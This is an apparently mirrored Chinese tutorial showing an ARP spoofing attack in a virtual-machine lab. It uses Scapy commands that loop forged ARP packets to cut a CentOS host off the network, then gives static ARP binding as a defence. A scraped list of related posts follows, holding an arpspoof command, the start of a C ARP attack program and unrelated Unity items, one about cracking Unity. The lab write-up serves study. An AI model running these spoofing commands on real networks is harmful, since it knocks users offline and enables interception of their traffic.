局域网arp攻击_ARP局域网攻防浅析

article/2025/10/1 15:38:26

ARP官方释意:地址解析协议,即ARP(Address Resolution Protocol),是根据获取的一个。发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址(MAC);收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

94285702359d3f9f22970c0e5b7ceed1.png

实验环境

Linux parrot(攻击系统)

Linux centos(被攻击系统)

实验语言:python

Arp协议是网络不可缺少的一部分,由于arp协议存在一些不可修复的漏洞所以骇客也经常利用这个漏洞进行局域网攻击。攻击大致分为两种。(1)纯粹的网络攻击,迫使受害者无法使用网络 (2)目的性攻击,arp欺骗获取局域网使用者的信息,盗取账号密码等敏感信息。

笔者的电脑是接入寝室网络的,本来想使用真实电脑作为攻击目标,鉴于室友正在使用,转移到虚拟机进行实验。

搭建实验环境

0d4e91351253a9858c29abc34f0e2736.png

Linux parrot(攻击系统)

a3c1d79a33927662daafd2b78d147f17.png

Linux centos(被攻击系统)

我们可以看到终端显示的信息(网关一般是默认的)

攻击系统:IP 192.168.163.146 MAC 00:0c:29:41:75:aa

被攻击者192.168.163.150 MAC00:0c:29:0b:09:89

网络测试依次使用两台机器ping百度显示信息如下

4cb1542de39b0645ce96e2ed9fceffa9.png
44ffccaaed0a952b781ffe4416feaf9c.png

此信息说明可以连接外网,证明目前可以上网

使用攻击系统扫描本网段的信息,使用到的工具fping

6d1bfc0eff208fbbbb2aa1ade992204a.png

扫描到目标IP使用arp -a命令确认一下信息如下:

39bb8b61f997bde13ba9b8e5cbdcdf2d.png

确认无误,局域网中默认网关以2结尾,所以我们展开192.168.163.2和192.

168.163.150之间的攻击。

使用python的scapy模块,编写对应的ARP包进行发送,由于scapy有独立的交互模式,我们就直接在终端中进行编程。注意这里要进入root权限

核心源代码如下:

>>> a = ARP()

>>> a.show()

###[ ARP ]###

hwtype= 0x1

ptype= IPv4

hwlen= None

plen= None

op= who-has

hwsrc= 00:0c:29:41:75:aa

psrc= 192.168.163.146

hwdst= 00:00:00:00:00:00

pdst= 0.0.0.0

>>> a.psrc = '192.168.163.2'

>>> a.pdst = '192.168.163.150'

>>> send(a,loop=1)

正在攻击目标

d5793364017ecdb72f1db21dc0cc52d7.png

验证

6554a585cbbbb35093a6cd760d15564e.png

Ping百度没有反应,网关mac地址也被修改为攻击机的MAC地址

简单ARP防御措施

Windows:将网关MAC地址改为静态,首先获取网关IP地址所对应的MAC地址,同时需要确保此时的网关的MAC地址是正确的。打开桌面上的"开始"-->"运行",在对话框中输入cmd或者command, 确定后在弹出的黑色框中输入" arp -a " 获取网关IP地址和对应的物理地址:

执行绑定命令: " arp -s 网关的IP地址 网关的MAC地址 "

8013029ebdc3df8138b18b9e78394f23.png
2c714add8e018dbf1f150630e1249a3c.png

Linux: 同理arp -s 192.168.100.83 00:15:58:A2:13:D0

公共场合防御:尽量少连接陌生wifi,对于公共wifi的arp欺骗目前还没有深入研究过,防御措施还等待大家去探索。

拓展kali等一些专用的渗透系统里自带了ettercap,这是一个专门用于ARP攻击的软件,有大量的功能,包括上网者的账号密码获取,在这个领域里有大量的内容等着我们去探索

dde7f7ad853783fd3e2d5ae79749db4a.png

http://chatgpt.dhexx.cn/article/cenNLETQ.shtml

相关文章

局域网断网攻击 (arp攻击)

ARP攻击能够实现的技术前提有两个,一是作为攻击者的计算机需要和被攻击者的计算机在一个局域网中,二是作为攻击者的计算机需要知道被攻击者计算机的局域网IP。 环境:安装在VMware Workstation中的Kali Linux,我们需要在VMware的设…

局域网arp攻击_如何排查ARP网络攻击

ARP攻击危害:众所周知,ARP攻击变得日益猖狂,局域网内频繁性区域或整体掉线、IP地址冲突;网速时快时慢。极其不稳定,严重影响了网络的正常通讯。 那么如何排查ARP网络攻击呢? 首先诊断是否为ARP病毒攻击 1、当发现上网明显变慢,或者突然掉线时,我们可以用arp -a命令来检…

从交换机安全配置,看常见局域网攻击

前言 构建零信任网络,自然离不开网络准入(NAC),这就涉及到交换机的一些安全测试,于是有了此文《从交换机安全配置看常见局域网攻击》。 交换机安全配置 如本文标题所说从交换机安全配置看常见的局域网攻击,那么下面提到的各种攻…

Kali linux 局域网arp断网攻击

Kali linux 局域网arp断网攻击 什么是arp断网攻击: ARP断网攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目&…

局域网攻击——基于kali的arp欺骗

大致原理: 大家都知道,在一个局域网中,主机是通过路由器向公网进行发送信息,而路由器则是通过主机的MAC地址来给主机传递信息。 每一个主机都有一个arp缓存表来记录ip地址与对应mac地址, 如果我们的攻击机伪造成别的MAC地址,即可欺骗主机或者局域网网关的arp缓存表,他…

局域网攻击之ARP网关欺骗

目录 1、工具2、原理3、实验4、总结 1、工具 IPOP(仅能指定某一台主机攻击)、科来 2、原理 恶意用户仿冒网关发出ARP报文,导致网络中其他用户学习到错误的网关ARP表项。 3、实验 第一步:选择网卡,查看网关IP 第…

ARP局域网攻击

/*linux 、unix 下简单的ARP局域网攻击 */ #include<string.h> #include<unistd.h> #include<stdlib.h> #include<net/if_arp.h> #include<net/ethernet.h> #include<sys/types.h> #include<sys/socket.h> #define ARP_LEN 30 //ARP…

局域网断网攻击

一、直接实现局域网某ip断网 arpspoof -i eth0 -t 192.168.183.14 192.168.183.1 其中192.168.183.14为要攻击的ip地址&#xff0c;192.168.183.1为默认网关地址&#xff0c;eth0为自己的网卡&#xff0c;其实就是相当于让流经192.168.183.14的流量经过自己的网卡(本质是arp欺…

Kali Linux 学习日记6 - 局域网攻击

文章目录 交换机工作原理MAC地址泛洪攻击MAC地址欺骗攻击DHCP工作原理DHCP攻击ARP攻击 交换机工作原理 1、交换机中有一个MAC地址表&#xff0c;里面是端口与MAC的对应。初始状态下&#xff0c;交换机的MAC地址表为空。 2、当局域网中主机A与B欲通信时&#xff0c;A先向B发出A…

网络攻击测试软件,局域网攻击软件如何检测

局域网攻击软件通常会导致局域网网速下降&#xff0c;甚至断网的情况发生。对此们可以通过以下学习啦小编介绍的方法来检测并防范此类攻击对网速的影响。 局域网攻击软件的检测方法 可以借助“聚生网管”来检测局域网攻击类软件。直接在百度中搜索下载此工具。 从打开的程序主界…

局域网常见攻击方式原理

文章目录 前言一、ARP欺骗1.查看arp表2.arp原理3.arp欺骗过程 二、DNS欺骗三、DDos攻击总结 前言 简单介绍了常见的局域网攻击方式 一、ARP欺骗 局域网不是根据ip地址&#xff0c;而是根据MAC地址进行传输。破坏MAC地址&#xff0c;会影响传输。例如&#xff0c;MAC地址在A上…

网络安全——局域网内网络攻击手段(MAC地址攻击、ARP攻击、DHCP攻击)

网络安全一直是信息安全的重要内容&#xff0c;而局域网安全又往往是网络安全的一个重要组成部分。局域网内有哪些攻击攻击手段呢&#xff1f;今天主要介绍MAC地址攻击、ARP攻击、DHCP攻击等攻击的原理。要看懂本文&#xff0c;需要有一定的局域网内交换知识、DHCP原理等的理解…

Unity解包提取资源/AssetStudio的简单使用

前言 最近特别想要一款游戏里的语音包&#xff0c;但是原游戏是 Unity 做的&#xff0c;就想到了解包&#xff0c;找了一番发现可以使用 AssetStudio 这款强大的可视化工具。 项目地址&#xff1a;Perfare / AssetStudio 使用 直接在 releases 下载 下载自己需要的版本&…

Unity3d的安装

** Unity3d的安装 ** 1.在线安装 a.获取在线安装程序 第一步:进入官网:https://unity.com/cn 第二步:在主页的底部点击下载 第三步:来到UnityStore,拖到该页面的最底部&#xff0c;点击资源下面的Unity旧版本 第四步:来到Unity下载存档&#xff0c;拖动页面可以看到很多版…

Unity 2021.3.6f1 Crack【转载】

如果要看我转载的此作者编写的另一个带图的教程&#xff0c;请转此链接&#xff08;Unity 2019.4.9f1 Crack Tutorial【转载】 文中资源 【2022/8/29 更新】 最近都在这个网站对Unity进行Crack 在该网站上下载UnityHub3.0.1及其对应版本的Unity包安装unityhub&#xff0c;替换a…

Unity-Apk解包

在上海居住隔离的时候&#xff0c;整理了下为知笔记。发现了这篇于2018-06-07写完的,内容或许有陈旧 之前解过自己项目的包的代码&#xff0c;研究assetBundle打包的时候&#xff0c;像把bundle解压出来看。结合看来就一个包的逆向。 步骤 改名解压 将".apk"结尾的…

从unity3d官网下载教程

http://unity3d.com/learn/tutorials/projects/tanks-tutorial 官网的教程提供的下载链接https://www.assetstore.unity3d.com/en/#!/content/46209/ 根本无法下载 最后谷歌了下&#xff0c;发现需要在unity中打开&#xff0c;然后在里面的asset store中下载 坑爹了&#xff0c…

Unity3D教程:Unity3D游戏内的付费

一、搭建号沙盒环境 二、IAP付费流程图&#xff1a; 总体流程图如下&#xff1a; Unity3D教程&#xff1a;Unity3D游戏内的付费 详细流程图分为带服务端验证和不带服务端验证&#xff0c;本文研究的是带服务端验证&#xff0c;流程图如下&#xff1a; 在Unity中制作IAP主要思…

Unity 3D下载安装教程

入门小菜鸟&#xff0c;希望像做笔记记录自己学的东西&#xff0c;也希望能帮助到同样入门的人&#xff0c;更希望大佬们帮忙纠错啦~侵权立删。 一、官网下载链接 https://unity3d.com/cn/ 但是可能是因为我没翻墙&#xff0c;所以我根本没办法进入这个网页 二、Unity 3D中国…

[转]Unity3D简介

unity简介 本章首先介绍 Unity 3D 的特点、发展历程&#xff0c;然后介绍 Unity 3D 下载及安装方法&#xff0c;最后通过讲解将 Unity 3D 开发的游戏发布于多个平台的方法(PC端举例)。 第一章 Unity 3D是什么&#xff1f;Unity 3D简介 Unity 3D 也称 Unity&#xff0c;是由 Un…